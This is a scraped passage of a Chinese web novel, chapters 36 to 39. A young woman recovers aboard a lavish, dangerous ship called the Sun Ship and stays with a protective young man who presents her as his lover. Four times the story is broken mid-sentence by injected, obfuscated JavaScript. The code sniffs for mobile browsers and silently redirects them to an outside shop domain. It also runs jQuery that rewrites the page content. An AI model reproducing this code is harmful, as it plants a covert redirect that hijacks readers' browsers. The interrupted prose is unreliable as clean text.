青年拉开椅子,在她身边坐下,伸手摸了她的额头。“确实不烫了。”他说。 “……我怎么了?” “你被一种虫子咬了。有点棘手,大熊星座号上处理不了。” “那这里是……” “这里是太阳船。” 温知和下意识地又看向四周的环境。干净,明亮,即使只是一间病房,桌上的流彩花瓶、墙上的镶金挂画一类摆设里也隐约流露着奢靡气息。跟大熊星座号上那些窄窄旧旧的小船舱完全不像同一个世界。 空气里响起一阵布料摩擦的轻微声响。青年随手把领带拉得松散,又解了最上面的两个扣子。这样比较不拘束。脸上的神色也松懈起来。 一下子,他好像又变成了她熟悉的模样。 青年语气慵懒地问,“笑什么?” “不知道,”温知和望向天花板,“好像是有点不合时宜啊。” 但是,还是想笑。看到他就很安心。 “我要在这里呆多久啊?”她问。 “刚才说医生说恢复不错,明天就可以走了。” 她笑容顿了一下,“明天就要走啊……” “‘走’的意思只是离开这间病房,”青年道,“最近没有往外走的船,大熊星座号是回不去了。” “那我去哪儿?” “跟我住吧。” “……啊?” 温知和扭头看向青年。他手支着下巴,斜斜地靠在病床上,开口时语气虽平稳,可因为脸正对着阳光照过来的方向,就显得眼睛里很亮,“不然你去哪儿?” “噢……也是……” 青年有一阵子没说话,视线落在她手上。她也不说话。只听见滴滴,滴滴,仪器声有规律地打破安静。 青年终于开口,“腿上还疼吗?” “还好。” “为了排除毒素,当时在你腿上划了一个十字。现在有一个疤。” “噢,没事。” 她不是在乎疤痕的人。当时的情况应该挺险的,能被救下来就很不错了。 青年道,“你手上和腿上的疤痕都不深。等回到陆地上,可以找皮肤科看看。应该不难去掉。” 这本是随口说的一句话,内容又是件好事,可是…… ——“等回到陆地上”。 一句话,又道破了些什么。眼下距离再近也只是暂时的。她总要回家。而且……她的确更想回家。 温知和声音低下来。“嗯。” “还有……”青年的声音压低下去,收起了时常有的那种悠缓,多了些认真,“这里和大熊星座号上不一样。你一定要听话。” 温知和望着他,抿起了嘴,用力点点头。 青年道,“第一,绝对不可以随便乱跑。” “嗯。” “第二,不管发生什么,不要调查任何事。” “嗯!” “第三,不要和任何人交谈。即使有人来和你说话,也一定要装作听不懂,不要理会。” “好的。” 她一直在点头,散落在枕面上的头发也跟着一动一动的。有点可爱。 青年不由露出笑,修长的手抚上她头发。“真的记住了?” “真的。” “绝对不可以任性。” “知道了,”她说,“你说了很多次了。” “嗯。”他身体往下压了一些,离她更近。在这种距离下,一切都变得更真切了,他说的每一个字她都听着,“这艘船上的行事规则和任何地方都不一样,你什么也不要说,什么也不要问,待在我身边就好。如果我不在,就待在房间里,任何人来都不要开门。” “我真的记住了。” “好。” 那最后一声,他声音很低,几乎像是叹息。 他的手依然抚弄着她的头发。温知和伸手握住他的手腕。他动作停了,目光落在她脸上。 她很认真地说,“谢谢你。又……救我一次。” 他笑了笑,把她的手握在掌心里,动作很轻。“你本来就不该在这里出事。我还有事,下午不能陪你了。如果期间有人进来,装睡就好。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099794|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” - 青年走了以后,温知和一个人在床上躺了很久。她伤得没那么重,其实可以下床活动。但又担心在房间里溜达的时候有人忽然进来,避不开言语交流。 只好耐着性子。 滴滴。滴滴。床边的仪器一直在叫。没有别的事情引开注意力,身体上的知觉便越来越清晰。手臂上的伤痕愈合得差不多了,但腿上的新伤仍有点痛。青年说那是个十字形的疤痕,于是,她也就开始觉得那痛也是十字形的,一抹横着痛,像在腿上绕了个圈,一抹竖着痛,一点点朝着大腿的方向蔓延上来。 为了打发时间,她开始在脑子里编故事。比如身体里住着一群小精灵,平时都被皮肤封印着,见不到阳光,很闷。这会儿腿上开了两刀,它们便兴冲冲地溜出来玩。有的横着走,不停的绕圈,像坐旋转木马;有的竖着走,一队朝南,一队朝北,跳啊跳啊,探索未知的边界……它们是高兴了,就是鞋子踩在她身上有点疼。 期间有人进来过。 只要听见大门传来密码锁的声音,温知和立马闭眼,连呼吸也刻意调得很均匀。好在进来的人大多是来看仪器数据的,不会碰她,最多待几分钟就走了。 只不过,眼睛闭着闭着就习惯了。不知不觉,她睡着了。 - 再睁开眼睛的时候已经是晚上。房间里很黑,月光从外面照进来,大理石地面上铺了一层朦胧光晕。 她揉着眼睛,打了个呵欠。“唔……” 这时有声音在旁边响起来。“醒了?” 她睡意尚未消散,喉咙里不自觉地仍有些呜呜嗡嗡。“嗯……” “遮一下眼睛,我要开灯了。” “嗯?” 她没反应过来。青年笑了一下,修长温暖的手挡在她眼睛上,伴着几不可闻的咔哒一声,房间里亮起了暖黄的灯。 些许光亮从他指间漏进她眼睛里。并不刺眼。他把手挪开的时候,她已经适应了光亮。 青年道,“饿了吗?” “有点。” “白天没来得及问你想吃什么,随意带了一点,先填肚子吧。” 他把床上小桌板稳稳地架在她身前,又拎来了食盒。盒子挺大,一打开,温知和居然愣了一下。 奶油蘑菇汤、凯撒沙拉、番茄通心粉、和果子、香蕉飞饼、南瓜粥、英式松饼……世界各国风味的食物,各式各样,做得相当精致。 放在陆地上的大城市里算是寻常。可在生活条件艰苦的大熊星座号上待了那么久,她都快忘记这些东西长什么样了。 青年道,“避免留疤……我记得应该是不能吃海鲜和羊肉。” 难得他说话时会有这样不确定的语气。所谓疤痕愈合期禁食“发物”,于他而言,恐怕已经是太久以前的故乡传统。何况他脖颈下那一道又一道的痕迹已是明证,他自己从前根本不在乎这些东西。 温知和道,“谢谢……”说罢,好像一个还不够似的,又说一次,“谢谢。” “不客气,”像是和她对应似的,青年也说了两次,“不客气。今晚我会一直在这里陪你,慢慢吃,不着急。” “你不回去休息吗?” “你比较重要。” 明明是一句这样的话,可他说的语气却很寻常,一面说,还一面拿起了床头柜上的杂志看了起来。 以至于温知和本来有点想不好意思,都觉得好像无处安顿。 她拿起食盒里的餐具,低着头,慢慢吃了起来。许久没有接触过的味道在唇齿间溢开,好像素白的纸上忽然涌现出了种种颜色。 好好吃。 她的注意力越来越被食物勾走,埋着头,眼睛只顾着盯着食盒看了。 坐在床边的青年不知何时已合上了手里的杂志,目光落在她身上。只在很偶尔的时候,他微微垂下眼睛,仿佛是想起了什么。 也仿佛是预见了什么。 37. 第三十七章 青年晚上就睡在离病床不远的沙发上。到了这么陌生的地方,温知和本以为自己会睡不着,但病痛消耗了太多体能,一闭上眼睛,没多久身体就变得沉甸甸的,陷在柔软的大床上睡熟了。 相当好的睡眠。一整夜里都是黑甜的,连个梦也没有,安安静静。直到末尾处才出现了朦胧的白光,再然后,有叽叽咕咕的说话声音在耳畔响起,还有滴滴、滴滴、滴滴…… 温知和醒过来,第一眼看到的就是床头边的医疗仪器屏幕。除了不停划过高峰与低谷的心电图,别的全是看不懂的数据。 青年正和医生对着屏幕交谈,见她醒了,便转过身来说,“医生过来给你检查。等检查结果出来,没问题的话我们就可以走了。” “好。” “要抽血。”他说,“怕疼吗?” “呃……还好……” 温知和眼睛直勾勾地盯着医生的手。那双手不慌不忙,从桌上的医疗包里取出了止血带、碘酊和针头。当止血带开始往她胳膊上系的时候,她本能地把头扭到另一边去。 窗外是海上稀薄的朝阳,时间还很早。 青年绕了过来,遮着阳光,拉住了她空闲着的那只手。温厚的掌心包裹着她的手指,有令人安心的温度。 他倒没顾上跟她说什么,那边的医生一直在和他说话,占据着他的注意力。 温知和抿着嘴,感觉到一阵带着凉意的刺痛从被抽血的胳膊上传来。也就几秒钟的事。医生给她按了棉花止血,然后又到床尾这边来,拆了被咬的小腿上裹着的纱布,查看了伤口的情况,换了新药。 青年道,“医生说目前情况看上去都很好,但还是以血检结果为准。估计还要等两个小时,要不要睡一会儿?” “好。” 交谈几句后,青年便把医生送出了病房。周围安静下来,温知和在仪器的滴滴声很快就睡了回笼觉,再睁眼时,窗外的阳光已经很盛了,像是早上八九点钟的光景。 青年还是在床边坐着,手里拿了一本杂志,正在看,因此低着头。阳光从窗外斜着落进来。 温知和抬手去触碰斜在空气里的阳光。纤细的手影子拉长了,恰好落在青年的纸面。 他抬眼。“醒了?” “嗯。” “血检结果已经出来了。恢复得很快。” “那就……可以走了?” “能走路么?距离比较远。” “没那么脆弱……” 青年笑了笑,拿了个大纸袋子过来放在温知和枕头边,接着便往卫生间走。“把里面的衣服换了。我回避一下,好了就叫我。” 她把纸袋子拆开。一整套新衣服,蓝白色调的休闲装,款式虽然简单,用料与剪裁却都极好。 和昨天的晚餐一样,它们放在陆地上的世界里或许也不过是一件橱窗里的高价商品,说不上稀罕。可同过去两个月里在大熊星座号和阿甲村那样的地方看到的简陋景象相比,差异便太过鲜明。 温知和拖着伤腿换了衣服,自己转过身来下床,朝着空气里喊,“我好了!” 青年从卫生间里走出来,见她要下地,便过来扶。穿鞋的时候她低着头,他看见了什么,一只手绕到了她脖颈后。这一块总是有点敏感的。她停下手里穿鞋的动作,抬起眼睛看他。他却好像并没在意。 原来她脖颈后还有两个先前没注意到的衣服扣子。是珍珠扣。一边是圆圆的珍珠,另一边只是小小的线环。也许因为是新衣服,线环太紧,总是扣不上。 青年更靠近了一些。为了看得更清楚。 他的手,时不时便触到她的皮肤。她低着头,感觉他的气息扑在颈后,越来越近,越来越热。 扣子扣上了吗? 不知道。线环并不会发出声音。也许已经扣上了,他温热的手指,只是依然在原地流连。也许它们就是那么难以应付,他认认真真地靠过来,真的只是为了扣扣子。 不知过了多久。 “好了。”青年说。 “噢……” 温知和回过神来继续穿鞋,却差点弄反了左右。好在他没看见。 他扶着她慢慢往前走。“记得我昨天说的吗?” 她一跳一跳地在地上走,一面默背。“不要和任何人交谈、不要探索任何事、不要乱跑……知道了,我会老实的。” “还有……” “我什么也没背漏。” “是一件新的。” 说话间,两个人已经到了门前,青年修长的手已经握在门把手上。只要轻轻往下一按,外面的世界便会扑面而来。 他说,“这艘船上的气氛一直有点纸醉金迷,我不能把你当成简单的客人带上来,所以,”他还是顿了一下,“你现在的身份是我的情人。” “噢……” 她应了一声,下意识地有点不自在。 “只是在有别人的场合需要演一下。这种场合应该不多,你平时只需要待在房间里。” 他说话时的语气还是那么不急不缓的。仿佛跟她商议的不过是出门后往左走还是往右走。 温知和用力点头。 金属门把手往下按了,接着,大门慢慢打开,外面的景象一点点映入眼帘。 好一个金碧辉煌的海上天地。 哪怕仅仅只看体量,太阳船也无愧“太阳”之名,恐怕要六七个大熊星座号叠在一起,才勉强及得上太阳船的分量。站在走廊里往上往下看,便越来越会觉得自己渺小。 它的船体崭新漂亮,银白舰身映射着从天而落的阳光,将周围的海水都照得发亮。上面还有那行马来文字——那行在无数地方出现过、她最最熟悉的马来文字。 ——“当太阳从大海深处升起……” 这一次,她终于看到了后半截。因为那行马来文下面自己带了一行花体的英文翻译。 ——“当太阳从大海深处升起……” ——“……新的世界必将来临。” 这的确是一个与陆地上绝然不同的世界。 四处的装潢堪称奢侈,完全找不到艺术上那种收敛含蓄的高雅韵味,是暴发户式的铺张气焰,金灿灿、明晃晃,明摆着是一个黄金天堂。 温知和只在最初几秒钟本能地打量陌生环境时,眼睛朝四下里瞟了瞟,接着便收回视线低下头,按青年交代的那样,什么也不探索,只做个鹌鹑。 青年扶着她的那只手微微往下放了,悬在她腰后面。“可以吗?” “嗯。” 于是他揽上她的腰。在旁人看来,这姿势会比较亲密。 太阳船上的人并不少,走廊上也挺热闹,海风时不时便吹来酒味、烟味和嘈杂的人声。最多的是马来语,也有英语,偶尔还有其他语言。 温知和一直低着头,没和任何人对上视线,只看着不断往前走的自己的脚和朝身后退去的地面。 青年一路上碰到不少熟人。有的不过是点头打个招呼的关系,有的却需要他短暂地停下来,寒暄一阵。 有那么几次,温知和能明显地感觉到那些陌生人的注意力直勾勾地落在她身上,三两句言谈,或许还和她有关。 青年应付得游刃有余,有力的手一直揽在她腰上,未曾离开。 就这样走了十几分钟,终于到了某个远离人群的楼层。四周安静下来了。 青年在一间瓷白色的大门前停下脚步,从西装口袋里掏出一张卡,刷开了门。一进去他便松开了放在她腰上的手,改扶着她的手臂。 温知和也终于松了口气,抬起头来。 他在太阳船上的住所是个相当宽敞的套间,与位于大熊星座号顶层的那个临时房间,自然是大不相同的。一个明亮奢华,一个陈旧古朴,根本就是两个世界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111724|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可凡是他住过的地方,好像都有一种类似的气质。 从整体看,偌大的屋子干净、整洁。事物大多分门别类地放好,床上铺得整齐,几乎像没有人睡过。连书架上的书也是从大到小依次排列,相当有序。 只不过,细看之下,总是会有些“乱”的地方。置物架上挂着没看完的旧杂志,也许是他某次翻了几页,不感兴趣,就随手摊在了一旁。还有笔。他用完笔之后好像总是会忘记合上笔帽,随手就会把它分着家放在桌子上。 这里一处,那里一处,流露着主人生动的生活细节。他的生活总是很有规划,但并非一丝不苟的机器人。 青年忽然道,“笑什么?” 温知和摸上自己的脸,果然是在笑。她只说,“你的房间很漂亮。” “喜欢?” “嗯。” “挺好的,”他说,“接下来几天,你在这里待的时间最长。” 他扶她一跳一跳地在小客厅的沙发上坐了,又拿了个平板电脑过来。温知和已经两个多月没见过这种电子设备了,把它拿在手里的那一瞬间,才真有了一种回到二十一世纪的感觉。 青年道,“缺什么就买吧,我这里什么也没有。” “可以买东西?” “嗯。” 他开了平板,修长的手指在屏幕上划了几下,一个页面简洁的船上内部商城跳了出来。他给她切换成了英文版。 他说,“密码是283940。” 温知和下意识地问,“有什么寓意吗?” “乱打的。” “噢……” 屏幕上的商城几乎就是个缩小版的淘宝。衣物、箱包、食物、各式日用品,甚至手机、电脑、投影仪这类电子设备也应有尽有。当然也有一些游离在法律之外的玩意。 她随手戳了一个电动轮椅的页面,进去一看,价格的位置上写的是三百六十。用的大概是船上的某种一般等价物,她对数额没什么概念。 正要问青年这是贵还是便宜,便听见他悠悠开口,“不想走路也不是不行。” “只是随便看看!” 青年点开了左上角的账户信息。那里面只有两个数字。一个代表着他在这里的身份ID,另一个则是余额。 温知和:“……” 相当离奇的天文数字。 她很礼貌地问,“我的预算是多少?” 青年道,“随便用。” “这个……应该是船上的钱吧,相当于你的银行卡。万一不小心用光了就不好了。” “能用光是你的本事。” “……” “不过最好还是不要一次性用完,”倒不是因为小气,“我最近不想太引人注目。” “好的……” 温知和总觉得这番对话有一种扭曲感。怎么可能用得完?她就算是专门捡最贵的买,不停地付款、付款,也用不掉这么多。 青年抬起手腕看了看表。“腿上还有什么不舒服的么?” “没,挺好的。” “那我就先留你在这里了,我要出去一会儿。大概十二点回来。” “好……诶等等!” 他转过身来。她高高举着平板,指着上面的屏幕,“我应该……不会误触到什么机密信息吧?不小心碰到的话不会出事吧?” “这台机子只有购买功能,别的什么也没有。” “噢……” “走了。记得不要给任何人开门。” “好。注意安全啊。” ——注意安全。 说这句话的时候,她只是随口而已。就像平时在家,家人出门时,互相之间总是叮嘱一句“路上注意安全”、“早点回来”之类。 可青年却再次停下脚步。他顿了顿,再次转过身来,对她笑了一下。声音也放轻了。“知道了。” 38. 第三十八章 青年走了以后,温知和一个人陷在沙发里玩平板。 虽说“只有”购买功能,可这上面的东西也太多了,看得人眼花缭乱。 她仔细理了理自己需要的东西。换洗衣物、牙刷毛巾、拖鞋、洗浴用品、护肤品、零食…… 正准备付款,不知误触了什么地方,她不小心点到了历史购买记录。平板运行极流畅,来不及反应,这些本该划归为账户主人隐私的东西就这样弹了出来。 最近一项记录,买的是一台CCD。索尼的老古董,是他前不久送给她的那台。 再往下竟还有两台。同一天的订单,也都是古早的CCD,和她最初在交易岛上多看了几眼、他后来送她的那台在外形上很有相似之处。或许是拿不准哪一个才是她看中的那一款,索性都买回来看看。 她仿佛窥探到了他的一角。手指不自觉地,把页面往下滑。 他好像很少为自己购置些什么,除了日用必需品,购买记录里最多的是一种烟。应该就是他在大熊星座号的甲板上时常拿在手里的那一种。她记得他说,它是马来西亚的一种特产烟,在这里没多少人喜欢,但与原产于淮市的一种名叫“金路”的烟气味很像。 他总是把烟拿在手里,却从来不抽。 ……背后有什么故事呢? 温知和思忖间,寂静的空气被打破,门外传来一阵急促的敲门声。她立马从沙发上探出身子看过去。青年住所的那扇金属双开门相当沉重,敲在上面的声响显得闷闷的,给人一种山雨欲来的感觉。 咚——咚——咚—— 她抓紧了沙发扶手,一动不动,连呼吸也放缓了。 外面锲而不舍地敲着,动静越来越大,仿佛能隔着一层门板把里面的空气也激荡起来。听上去,来的不止一个人。 门上有猫眼。要是走过去,也许能看看究竟是什么情况。 ——万一,是青年那边出了什么事,所以才有人来找她呢? 但温知和迟疑一阵,还是没有动。他一直都是一副游刃有余的姿态,要说就这么一会儿就出了状况,未免对他太没信心。 她就这样抱着平板在沙发上做鹌鹑。 外面的人渐渐不耐烦起来,伴着敲门动静的,还有隐隐约约的争吵声。状况越来越混乱,忽然—— 砰! 温知和的脑子里瞬间空白了一下。她从来没有在现实生活里听见过那种声音——尽管它是某些类型的电影电视剧里的常客。 是枪声。 厚重的大门纹丝未动,大概率是外面的人自己内部起了冲突。 砰!又一声。 越来越闹了。 但所有喧嚷都被挡在了厚实的门板外面,她所置身的这间屋子仿佛唯一平静的台风眼。 一阵前所未有的吵闹声平复之后,外面终于慢慢安静下来了。四周的空气沉静得像一杯不曾被搅动的水。 温知和小心地把探出去的上半身缩回来,保持同一个姿势太久,连腰都有点酸。低头一看,怀里的平板电脑太长时间没操作,已经自己黑屏了。 她用青年留下的密码解了屏,商城页面重新跳出来,仍是刚才的历史购买记录。她没继续往下翻,退出去,回到了购物车,结算了先前选中的必备品。 商城里的东西那么多,还是可以逛。只是,已经不太有心情了。眼睛在屏幕上看着看着,便会下意识地抬起来朝门外看去,生怕又出现什么动静。 - 青年说话一向准确。刚过十二点,大门外传来一阵悠缓的脚步声,接着是滴滴的刷卡声,下一秒,他推开门走了进来。 这时温知和正趴在沙发上无所事事地玩平板,听见他回来,也没抬头。 青年走过来,觉得眼前这一幕多少有点熟悉。只是换了个环境而已,人还是那样。他脱了西装外套,在另一张沙发上坐下。 “中午想在这里吃,还是出去吃?”他说。 “出去吃……是不是风险系数比较高?” “嗯。不过问题不大,如果你想出去透透气也行。” “在屋里就行。对了,”她抽了抽鼻子,声音有点嗡嗡的,“上午有人来敲过门。” 他拿起桌子上的杂志,翻开。“吓到你了?” “有点……那个……好像还有枪……” “嗯。” 他很平静。 温知和不由抬起眼睛。“没问题吧?” “没关系。” 他都这么说了,她也就不好再继续问。 一声纸页响动,他手里的杂志翻了一页。温知和有点好奇。他看的各式杂志实在不少。到底有什么好看的? 察觉到她一直往纸面上凑的探究视线,青年微微抬起眼来。他们此时的位置关系挺暧昧。她趴在双人沙发上,下巴磕着柔软的沙发扶手,是在低位。他坐在距离仅仅几十公分的单人沙发上,低着眼睛看她,是在高位。秋日的海上阳光从他身后洒过来,她身上全是他的影子。 青年道,“想看?” “……没有!” 她牢牢记得他嘱咐过不要探究太阳船上的任何事。可她此时此刻对那些杂志的好奇心,与太阳船并无关联。只和他有关。好奇是什么东西能让他不停地看。 青年俯下身来。他左耳下那枚赤红的光点晃得温知和有点眼花。 “是一些,”他顿了顿,“无关紧要的东西。” “知道是秘密啦,”她说,“我不会问的。” 他笑了笑,合上了手里的杂志。有那么一瞬间,纸面上的状况映在温知和视线里。密密麻麻的,好多字。但那些属于杂志本身内容的打印小字似乎并非重点。凌驾其上的,有笔画涂抹的痕迹。那才是信息真正的载体。 反正,这地方不管什么事都神神秘秘的。 温知和没打算深思,只那么一眼,便把事情抛在了脑后。又低下头看平板。 一只修长漂亮的手指忽然点在她的屏幕上。“既然是在屋里吃,可以在这里点单。” “……吃什么好呢?” “随你。” 他手指划拉几下,船上餐厅的页面弹了出来。以一艘距离海岸十万八千里的船来说,这线上餐厅的饮食算是相当奢华了,各国风味,应有尽有。 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125645|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知和浏览一阵。“……有什么推荐么?” “不要点中国菜。”他已经又在看杂志了,“这里做的不好吃。” “别的呢?” “都差不多。” 琳琅满目的美味佳肴里不乏高档餐品,尤其是各式稀有海鲜。结果温知和挑来看去……最后选了汉堡和薯条。 她把平板给青年递过去。“你吃什么?” “你吃什么,我吃什么。” “……汉堡薯条?” 他好像一点都不意外,“行啊。” 餐品来得很快,是一个送餐机器人运过来的。一开门,它还会用五种语言向人问好。不过其中并不包含中文。温知和心想,显然,这说明船上的中国人并不多。 也许就只有青年一个。 ……当然现在还有她。 两个人坐在窗边的小餐桌上吃着汉堡和薯条,外面是一望无际的大海和蔚蓝晴空。温知和一直没说话,心里有一种很割裂的感觉。 太阳船毫无疑问是个相当古怪的地方。无论是这里的装潢、人们的谈吐还是空气里的气味,都给人一种这艘船上永远有暗潮在涌动的感觉。上午的枪声更是摆明了某些神秘的矛盾冲突正在愈演愈烈,风暴很快就会到来。 在这样一个地方,在这样一种情况下,她却—— 像观光旅游一样跟人坐着吃汉堡和薯条。 温知和默默把嘴里的食物吞了下去。 青年察觉到她的沉默。“不好吃?” “挺好吃的……” “腿上还疼么?” “还好。” “手上?” “好得差不多了。” “嗯。” 他从篮子里拿了一根薯条吃了,手指长的那么一根,一面吃,一面往外看着海。 吃东西本来不是什么特殊的事。 但,也许是薯条特别有烟火气吧,总是和悠闲、散漫、玩乐的生活场景联系在一起,眼前这个一向神神秘秘的人吃薯条,温知和莫名有一种神仙下凡的感觉。很想笑。 她的憋笑表情当然逃不过青年的眼睛。 他有点好笑地打量她一阵,“又怎么了?” “原来你也会食人间烟火啊?” “这是什么话?我不像人么?” “不像普通人。” “我是普通人。” “好呗。普通人今天下午也要出去吗?” 她心想,那样一来,她又得在房间里一个人等了。是从哪一天开始的呢?她总是在等他回来。 青年的手指在窗户上朝着某个方向点了点。“下午带你去坐船。” “啊?” 温知和顺着青年的手指看过去,苍茫大海上,离太阳船不远的地方飘着一艘银白色形似月亮的小船,海水平静如镜,小船看着挺悠闲。 她迟疑了一下。“……那个?” “嗯。” “我真的很像,”她顿了顿,“是来观光旅游的。” 青年咬着一根薯条,抬起眼睛看着她。薯条吃完了,他笑了笑,“你就当是来观光旅游吧。” 39. 第三十九章 下午出门的时候天气很好,天空蔚蓝无云,海面上风轻浪小。而且——温知和张开手指感触着温度——十月了,最烦人的暑热已在不知不觉中成了过去式。虽说大海茫茫,四周无边无际的蔚蓝色里没有北来的大雁、没有麦田也没有变黄的枫叶,望不见什么秋意,但气温的确宜人了不少。 她跨出门槛时,视线下意识地在门外扫了一圈。 好干净。 上午的骚乱与枪声,没有留下半点脚印、血迹、灰尘,仿佛什么都没有发生过。 两个人又装着“情人”的样子,温知和一路低着头不说话,青年时不时便会停下脚步与人交谈。整艘船上笼罩着怪异的气氛,但他那么游刃有余。 到了甲板边专门放月亮小船的地方,温知和悄悄打量着,这还真是个专供游乐的地方。来的人不多,除了他们,也就四五个衣着打扮格外讲究的马来人而已。都是一副出游的兴致。 不知青年有什么特权,他们来得最晚,却上了第一艘月亮小船。船里原本负责驾驶的人跟青年点了点头,就跳出去走了,只剩下他们两个。 这船并不大,从船头到船尾,也不过七八米。可在海水里却很稳。银白色的金属船身在阳光下仿佛发着荧光,分外显眼。 舱室里有一圈环形的软座椅,中间是驾驶台。大概多半的繁琐操作都交给了自动驾驶系统,留给驾驶台的只有一个方向盘和包括加速、减速、安全模式等在内的几个简单的按键。 青年道,“试试?” “……开船?” “嗯。” “好像逛公园啊……” 温知和在驾驶台前坐下,起初还有点拘束,这个也不敢按,那个也看不懂,青年坐在旁边教了一阵,不多时也就上手了。月亮船很灵敏,对各项指令都是即刻响应,比公园的那种脚划船还容易操控。 温知和玩心一起,朝着远离太阳船的方向狠狠按下了加速键。波浪被急速划开,在船体两侧打出高高的白水花,阳光下映出一道道微型彩虹。 她手里握着方向盘,脖子伸长了往外看,“好漂亮啊!” “嗯。” “还可以更快一点吗?” “可以。” “加速键已经按不了了。” 青年伸手在驾驶台上按了几下。原来是个组合键,算是隐藏功能,会让月亮船的速度突破默认上限,更快了不少。 水花哗啦啦地扑在环形窗玻璃上,平静的海面像是被撕开一道小小的口子。即使如此,船还是很稳。它的安全系数显然相当高。 温知和的心在急速行驶的感染下变得轻快,肾上腺素不断抬头,开始在血管里乱撞,整个人都兴奋起来。 青年的手忽然握上方向盘,单只手的力气便盖过了她,给了小船一个急转弯,让它往回走。惯性之下,她朝他倒过去,他顺手把她揽进怀里。 “不能离太阳船太远。” “噢……” “先看这个。” 他打开驾驶台下的抽屉,里面有个巴掌大的遥控器。上面一个字也没有,五颜六色的按键上只有不明其意的符号。 他告诉她每个按键分别代表什么。有的是控制舱内温度的,有的是开关窗帘,还有几个是向太阳船紧急求救的。 温知和把遥控器拿在手里玩,“功能好齐全啊。” “嗯。用起来也很简单吧?” “你会经常来吗?” “这个船?” “嗯。” “偶尔吧。这里很安静。” “有一种与世隔绝的感觉……” 也不知道是有意还是无意,船的航行方向已经稳定下来,不会再有让人乱倒的惯性,可她还在他怀里。她没有起身,他没有松手。 温知和顺着青年侧脸的方向看出去,大海茫茫,天空无边,不远处那艘不可一世的太阳船也显得很小。 好像一切都很小,一切都不再重要了。 青年道,“遥控器上的东西记住了?” “嗯。” “那方向盘就还你了。” 他松开了手。 温知和道,“随便开?” “别撞船就行。也不要离得太远。” “我负责开船,那你干什么?” “看你开。” 她瞥了他一眼,没说什么,按着自己的心意开着船在海上扭着S形到处绕了一阵。 他居然真的就什么也没有说,只是在旁边抱着手臂看着她。 她不由开口,“你……好像驾校的老师啊。” “考过驾照?” “考过,但没考过。” 这话不假。中文语意真是丰富。 青年垂眼笑了笑,过了一阵,不知为什么,毫无铺垫地开了一个新话题。“大学读的哪里?” 温知和的注意力仍在驾驶台上。“Z大。” “离家很近?” “嗯,就三条街。” “这样啊。那么,你应该是住在……”他似是回想一阵,“淮市博物馆附近?” “没。淮市博物馆在Z大西边,我家住在东边。”她稍微想了一下,选了个地标出来,“就在泉湖广场对面。” 青年隔了几秒才回应。“那是什么地方?” “哎?” 明明是淮市人,却不知道泉湖广场么?它是个很大的市民活动中心,每天晚上都热闹非凡,有人打太极拳,有人跳广场舞,还有好多算命摊子、手串摊子、宵夜摊子,她从小学开始就经常和家人朋友们在那边散步聊天,有很多快乐的回忆……她忽然想起泉湖广场是零八年初建成的。 那么,他那时候已经不在了。 温知和想了想,试图换个更早一些的地标。可竟是没有。那一片在近十年里发展变化很快,很多事物都是最近才出现的。于是只好说,“呃,就是,万泉路……” 青年嗯了一声。这显然只是礼貌式的回应。淮市那么大,xx路、xx巷子这样的地名,但凡是离家远一些的地方,一般人哪里记得住。 温知和绞尽脑汁,忽然来了灵感。“哎!我知道了。我们家楼下有一家东湖记,虽然是后来新开的,但据说和老店在同一个位置。那家老店以前是整个城东最大的一家东湖记。” 青年笑了。“喔,知道了。我有印象。”他顿了顿,“我记得那附近到处都是蓝色的金属板,到处都在建楼、修路。家里有养宠物么?” “有啊!我们养了一只萨摩耶,叫冬哈,特别可爱。” “为什么叫这个名字?” “因为它很白,很像冬天,又每天都很开心,让人看了就想哈哈大笑。” 温知和忙着开船,只能分一半的神说话,答得一本正经。 就这么有一搭、没一搭的。他问得好似漫不经心,她便也只当是打发时间的闲聊,有什么就答什么,很随意。 话题一会在这里,一会在那里,来来去去都是和她有关的事。仿佛她生活的一块块碎片在言语间抖落下来,落在他手心。 太阳渐渐西落了。 海面上拖出一道越来越长的金红色霞光。 黄昏是短暂的。 青年说,“该回去了。” “噢……” 温知和有些恋恋不舍,却还是老老实实地把船朝着回程的方向开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132644|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 